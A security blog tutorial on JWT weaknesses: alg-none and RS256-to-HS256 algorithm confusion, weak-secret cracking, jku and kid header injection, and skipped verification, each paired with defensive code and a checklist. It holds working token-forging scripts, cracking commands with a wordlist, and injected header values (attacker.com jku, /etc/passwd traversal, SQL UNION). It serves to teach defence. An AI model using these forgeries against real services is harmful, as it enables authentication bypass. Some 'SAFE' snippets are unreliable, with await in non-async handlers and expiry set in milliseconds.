Back to Blog
Web Security

JWT Security: Common Mistakes and How to Exploit Them

AliceSec Team
3 min read

JSON Web Tokens (JWTs) power authentication for millions of applications. They're elegant in theory: a signed, self-contained token that proves identity without database lookups. In practice, JWT implementations are riddled with security holes.

Auth0 documented JWT vulnerabilities affecting major libraries. The algorithm confusion attack (CVE-2015-9235) still compromises applications in 2025. This guide covers how attackers exploit JWTs and how to defend against them.

JWT Structure Basics

A JWT consists of three Base64URL-encoded parts:

text
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

[Header].[Payload].[Signature]

Header:

json
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

json
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

Signature:

text
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

Vulnerability 1: Algorithm Confusion (alg: none)

The most famous JWT vulnerability allows attackers to remove signature verification entirely:

The Attack

javascript
// Original JWT header
{ "alg": "HS256", "typ": "JWT" }

// Attacker modifies to
{ "alg": "none", "typ": "JWT" }

// Attacker modifies payload
{ "sub": "admin", "role": "admin" }

// Creates unsigned token (no signature part)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Why It Works

Vulnerable libraries check the algorithm from the token itself:

javascript
// VULNERABLE - Reads algorithm from token
function verifyToken(token, secret) {
  const [headerB64, payloadB64, signature] = token.split('.');
  const header = JSON.parse(base64UrlDecode(headerB64));

  if (header.alg === 'none') {
    // No signature required!
    return JSON.parse(base64UrlDecode(payloadB64));
  }

  // Verify signature for other algorithms...
}

Exploitation Script

python
import base64
import json

def create_none_token(payload):
    header = {"alg": "none", "typ": "JWT"}

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header).encode()
    ).rstrip(b'=').decode()

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()
    ).rstrip(b'=').decode()

    # Empty signature
    return f"{header_b64}.{payload_b64}."

# Create admin token
malicious_token = create_none_token({
    "sub": "admin",
    "role": "admin",
    "iat": 1699999999
})
print(malicious_token)

Vulnerability 2: Algorithm Confusion (RS256 → HS256)

A more sophisticated attack swaps asymmetric for symmetric algorithms:

Background

  • RS256: Asymmetric. Server signs with private key, verifies with public key
  • HS256: Symmetric. Server signs AND verifies with the same secret

The Attack

If the server uses RS256 but accepts HS256:

  1. Attacker obtains the server's public key (often exposed at /jwks.json)
  2. Attacker creates a new token with alg: HS256
  3. Attacker signs it using the public key as the HMAC secret
  4. Server verifies using its public key (now as HMAC secret)
  5. Signature matches! Token accepted.

Exploitation

python
import jwt

# Server's public RSA key (typically available at /.well-known/jwks.json)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Create malicious payload
payload = {
    "sub": "admin",
    "role": "admin"
}

# Sign with HS256 using the public key as secret
malicious_token = jwt.encode(
    payload,
    public_key,
    algorithm="HS256"
)

print(malicious_token)

Defense

javascript
// SAFE - Explicitly specify allowed algorithms
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256']  // Only allow RS256
});

Vulnerability 3: Weak Secret Keys

Many applications use weak, guessable secrets:

javascript
// Common weak secrets found in the wild
const weakSecrets = [
  'secret',
  'password',
  'jwt_secret',
  'your-256-bit-secret',
  'supersecret',
  'changeme',
  process.env.JWT_SECRET,  // Empty if not set!
];

Cracking JWT Secrets

bash
# Using hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Using jwt_tool
python3 jwt_tool.py eyJ... -C -d wordlist.txt

# Using John the Ripper
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256

Wordlist for JWT Secrets

text
secret
password
123456
jwt_secret
your-256-bit-secret
supersecret
changeme
development
production
test
admin

Defense: Strong Secrets

javascript
// Generate cryptographically secure secrets
import crypto from 'crypto';

// 256 bits minimum for HS256
const secret = crypto.randomBytes(32).toString('hex');
// Result: "a1b2c3d4e5f6...64 hex characters"

// Store in environment, never in code
process.env.JWT_SECRET = secret;

Vulnerability 4: Missing Expiration

Tokens without expiration never become invalid:

javascript
// VULNERABLE - No expiration
const token = jwt.sign(
  { userId: 123, role: 'admin' },
  secret
);
// This token is valid forever!

Exploitation

  1. Attacker steals a valid token (XSS, man-in-the-middle, etc.)
  2. Token works indefinitely—even after password change
  3. No way to revoke access short of changing the secret (invalidates ALL tokens)

Defense: Short-Lived Tokens

javascript
// Access token - short lived
const accessToken = jwt.sign(
  { userId: 123, type: 'access' },
  secret,
  { expiresIn: '15m' }  // 15 minutes
);

// Refresh token - longer lived, stored securely
const refreshToken = jwt.sign(
  { userId: 123, type: 'refresh' },
  refreshSecret,
  { expiresIn: '7d' }
);

// Verification must check expiration
const payload = jwt.verify(token, secret);
// Throws TokenExpiredError if expired

Vulnerability 5: JKU/X5U Header Injection

Some JWT implementations fetch public keys from URLs specified in the token:

json
{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/.well-known/jwks.json"
}

The Attack

  1. Attacker generates their own RSA key pair
  2. Hosts the public key at attacker.com/jwks.json
  3. Creates JWT with jku pointing to their server
  4. Signs with their private key
  5. Server fetches "trusted" key from attacker's URL
  6. Signature validates!

Defense

javascript
// SAFE - Allowlist JKU sources
const ALLOWED_JKU_HOSTS = ['auth.yourcompany.com'];

function verifyToken(token) {
  const header = decodeHeader(token);

  if (header.jku) {
    const jkuUrl = new URL(header.jku);
    if (!ALLOWED_JKU_HOSTS.includes(jkuUrl.hostname)) {
      throw new Error('Untrusted JKU source');
    }
  }

  // Continue verification...
}

// BETTER - Don't use JKU at all
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  // No JKU, key provided directly
});

Vulnerability 6: Kid Injection

The "kid" (Key ID) header identifies which key to use. If it's used in file paths or database queries:

json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../etc/passwd"
}

SQL Injection via kid

json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "' UNION SELECT 'known-secret' --"
}

Defense

javascript
// VULNERABLE
function getKey(kid) {
  return db.query(`SELECT key FROM keys WHERE id = '${kid}'`);
}

// SAFE - Parameterized query
async function getKey(kid) {
  const result = await db.query(
    'SELECT key FROM keys WHERE id = $1',
    [kid]
  );
  return result.rows[0]?.key;
}

// SAFE - Map to known keys
const KEYS = {
  'key-1': process.env.JWT_KEY_1,
  'key-2': process.env.JWT_KEY_2,
};

function getKey(kid) {
  const key = KEYS[kid];
  if (!key) throw new Error('Unknown key ID');
  return key;
}

Vulnerability 7: Signature Not Verified

Sometimes verification is just... skipped:

javascript
// VULNERABLE - Decode without verify
app.get('/api/profile', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];

  // jwt.decode() does NOT verify the signature!
  const payload = jwt.decode(token);

  const user = await db.findUser(payload.userId);
  res.json(user);
});

Defense

javascript
// SAFE - Always use verify()
app.get('/api/profile', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];

  try {
    // verify() validates signature AND expiration
    const payload = jwt.verify(token, secret, {
      algorithms: ['HS256']
    });

    const user = await db.findUser(payload.userId);
    res.json(user);
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
});

Vulnerability 8: Sensitive Data in Payload

JWTs are encoded, not encrypted. Anyone can read the payload:

javascript
// VULNERABLE - Sensitive data in JWT
const token = jwt.sign({
  userId: 123,
  email: 'user@example.com',
  ssn: '123-45-6789',        // Exposed!
  creditCard: '4111...',      // Exposed!
  internalRole: 'db_admin'    // Information disclosure
}, secret);

Decode Without Verification

bash
# Anyone can decode a JWT
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZW1haWwiOiJ1c2VyQGV4YW1wbGUuY29tIn0.xxx" | cut -d. -f2 | base64 -d

# Result: {"userId":123,"email":"user@example.com"}

Defense

javascript
// SAFE - Minimal payload
const token = jwt.sign({
  sub: userId,      // Only the subject (user ID)
  iat: Date.now(),  // Issued at
  exp: Date.now() + 900000  // Expiration
}, secret);

// Fetch sensitive data from database when needed
app.get('/api/profile', async (req, res) => {
  const payload = jwt.verify(token, secret);
  const user = await db.findUser(payload.sub);
  res.json(user);  // Controlled data exposure
});

Secure JWT Implementation

Complete Example

javascript
import jwt from 'jsonwebtoken';
import crypto from 'crypto';

// Strong secret (minimum 256 bits)
const ACCESS_SECRET = process.env.JWT_ACCESS_SECRET;
const REFRESH_SECRET = process.env.JWT_REFRESH_SECRET;

// Ensure secrets are set
if (!ACCESS_SECRET || ACCESS_SECRET.length < 32) {
  throw new Error('JWT_ACCESS_SECRET must be at least 32 characters');
}

// Token generation
function generateTokens(userId) {
  const accessToken = jwt.sign(
    { sub: userId, type: 'access' },
    ACCESS_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: '15m',
      issuer: 'your-app',
      audience: 'your-app-users'
    }
  );

  const refreshToken = jwt.sign(
    { sub: userId, type: 'refresh', jti: crypto.randomUUID() },
    REFRESH_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: '7d',
      issuer: 'your-app'
    }
  );

  return { accessToken, refreshToken };
}

// Token verification
function verifyAccessToken(token) {
  return jwt.verify(token, ACCESS_SECRET, {
    algorithms: ['HS256'],  // Explicit algorithm
    issuer: 'your-app',
    audience: 'your-app-users',
    complete: false  // Return payload only
  });
}

// Middleware
function authMiddleware(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader?.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'No token provided' });
  }

  const token = authHeader.slice(7);

  try {
    const payload = verifyAccessToken(token);
    req.userId = payload.sub;
    next();
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }
}

Testing JWT Security

Manual Testing

bash
# Decode token (no verification)
echo $TOKEN | cut -d. -f2 | base64 -d | jq

# Test alg:none
jwt_tool $TOKEN -X a

# Test RS256/HS256 confusion
jwt_tool $TOKEN -X k -pk public.pem

# Crack weak secret
hashcat -a 0 -m 16500 jwt.txt rockyou.txt

jwt_tool Commands

bash
# Full test suite
jwt_tool $TOKEN -M at

# Tamper with payload
jwt_tool $TOKEN -T

# Exploit null signature
jwt_tool $TOKEN -X n

# Generate with known key
jwt_tool $TOKEN -S hs256 -p "weak-secret"

JWT Security Checklist

Algorithm Security

  • [ ] Explicitly specify allowed algorithms in verify()
  • [ ] Never accept 'none' algorithm
  • [ ] Use asymmetric algorithms (RS256/ES256) for distributed systems

Secret Management

  • [ ] Use cryptographically random secrets (32+ bytes)
  • [ ] Store secrets in environment variables
  • [ ] Rotate secrets periodically
  • [ ] Use different secrets for access/refresh tokens

Token Configuration

  • [ ] Set short expiration for access tokens (15min)
  • [ ] Include issuer (iss) and audience (aud) claims
  • [ ] Use unique ID (jti) for refresh tokens
  • [ ] Don't store sensitive data in payload

Verification

  • [ ] Always use verify(), never just decode()
  • [ ] Validate all claims (exp, iss, aud)
  • [ ] Allowlist JKU/X5U sources or disable them
  • [ ] Sanitize kid parameter

Token Management

  • [ ] Implement token refresh flow
  • [ ] Store refresh tokens securely (httpOnly cookies)
  • [ ] Implement token revocation for logout
  • [ ] Invalidate tokens on password change

Practice JWT Attacks

Understanding JWT vulnerabilities from the attacker's perspective helps you build secure authentication. Try our authentication challenges to practice these techniques in a safe environment.

---

JWT security evolves with library updates. This guide will be updated as new vulnerabilities emerge. Last updated: December 2025.

Stay ahead of vulnerabilities

Weekly security insights, new challenges, and practical tips. No spam.

Unsubscribe anytime. No spam, ever.